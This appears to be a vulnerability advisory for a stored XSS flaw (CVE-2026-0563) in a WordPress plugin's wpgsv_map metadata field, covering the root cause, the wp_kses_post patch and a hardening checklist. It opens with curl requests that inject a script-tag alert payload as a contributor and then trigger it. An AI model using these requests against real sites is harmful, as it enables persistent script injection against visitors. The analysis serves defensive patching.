The Exploit
Attacker needs authenticated contributor-or-above access to WordPress.
curl -k -X POST "https://TARGET/wp-admin/post.php?post=123&action=edit" \
-H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "post_ID=123" \
--data-urlencode "action=editpost" \
--data-urlencode "_wpnonce=PLACEHOLDER" \
--data-urlencode "wpgsv_map=<script>alert(document.domain)</script>"
Trigger the stored payload by viewing the injected post:
curl -k "https://TARGET/?p=123"
The first request stores the malicious script into the plugin’s wpgsv_map metadata field. The second request renders the post and returns the injected <script> tag in the page output, causing the browser to execute it when a visitor loads that post.
What the Patch Did
Before:
update_post_meta( $postid, $key, trim($value) );
After:
update_post_meta( $postid, $key, wp_kses_post( $value ) );
The patch adds WordPress input sanitization using wp_kses_post() before the plugin stores metabox data with update_post_meta(). This prevents unsafe HTML and JavaScript from being persisted in the wpgsv_map metadata value.
Root Cause
This is a stored XSS bug (CWE-79). The metabox save handler in admin/metabox.php accepted attacker-controlled text from the wpgsv_map form field, trimmed it, and saved it directly into post metadata without stripping dangerous markup. Later, the plugin renders that metadata via the shortcode/output path, crossing the trust boundary from attacker-controlled POST data into HTML output on a page.
Why It Works
The single load-bearing change is the replacement of trim($value) with wp_kses_post($value) inside update_post_meta(). Without wp_kses_post(), the plugin still accepts and stores raw <script> tags, so the vulnerability remains exploitable. The existing trim() call only removes whitespace and does not protect against XSS, so the new sanitization is the actual fix. Any other surrounding code is incidental; the security gap was unchecked storage of untrusted markup.
Hardening Checklist
- Use
wp_kses_post()or a more restrictivewp_kses()rule when storing HTML-capable textarea/meta values. - Escape output with
esc_html()orwp_kses_post()when rendering shortcode metadata to the page. - Verify the saving user has the right capability, e.g.
current_user_can( 'edit_post', $postid ). - Protect metabox saves with
wp_verify_nonce()and reject requests lacking a valid nonce. - Avoid saving raw HTML into metadata unless you absolutely need it; use
sanitize_text_field()for plain text fields.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-0563